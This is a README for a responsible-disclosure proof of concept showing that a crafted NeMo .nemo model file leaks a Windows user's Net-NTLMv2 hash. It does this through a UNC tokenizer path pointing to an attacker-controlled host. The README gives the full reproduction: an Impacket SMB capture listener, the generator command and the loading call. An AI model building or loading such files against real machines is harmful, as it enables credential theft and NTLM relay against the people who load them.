ErenAta00/nemo-unc-path-ntlm-leak-poc

NeMo .nemo UNC-Path NTLM Credential Leak — Proof of Concept

This repository contains a minimal, non-destructive proof-of-concept for a vulnerability in NVIDIA/NeMo: loading a crafted .nemo model file can force the victim machine to attempt an SMB connection with NTLM authentication to an attacker-controlled host, leaking the victim's Net-NTLMv2 hash. This is prepared for responsible disclosure through huntr's Model File Vulnerabilities track.

Files

• poc_ntlm_leak.nemo — a plain tar archive (the standard .nemo container format) containing a single model_config.yaml whose tokenizer.model_path is set to a UNC path (\\<attacker-host>\share\poc). The file performs no destructive action and contains no executable payload.
• generate_nemo_poc.py — the generator script used to build the PoC, for reproducibility.

Mechanism

NeMo's SaveRestoreConnector.register_artifact() (nemo/core/connectors/save_restore_connector.py) resolves artifact paths read directly from a .nemo file's embedded YAML config with:

if os.path.exists(os.path.abspath(src)):
    return_path = os.path.abspath(src)

src is not validated against any scheme restriction or containment check. On Windows, when src is a UNC path, os.path.exists() causes an outbound SMB connection attempt, which triggers an automatic NTLM authentication handshake — leaking the calling machine's Net-NTLMv2 hash to the attacker's listener. This is reached via the standard tokenizer-loading path (nemo/collections/asr/parts/mixins/mixins.py), used by any BPE-tokenizer model, whenever tokenizer.model_path is read from the model's config and passed to register_artifact().

Reproduction

1. Start a passive SMB/NTLM capture listener on a host you control, e.g.:

   smbserver.py -smb2support share .
   

   (Impacket) or a Responder instance.
2. Regenerate the PoC pointed at that host:

   python generate_nemo_poc.py <your-listener-host> poc_ntlm_leak.nemo
   

3. Load the file with NeMo's standard restore API:

   from nemo.collections.asr.models import ASRModel
   ASRModel.restore_from("poc_ntlm_leak.nemo")
   

4. Observe the inbound SMB connection and NTLM authentication attempt on the listener, originating from the machine that loaded the file.

Impact

Disclosure of the victim's Windows Net-NTLMv2 hash to an attacker-controlled host, usable for offline cracking or NTLM relay attacks, triggered purely by loading an untrusted .nemo file via a normal, documented API call.

Disclosure status

This repository is gated and shared solely to support a bug bounty submission to huntr. It does not include any code capable of executing arbitrary commands.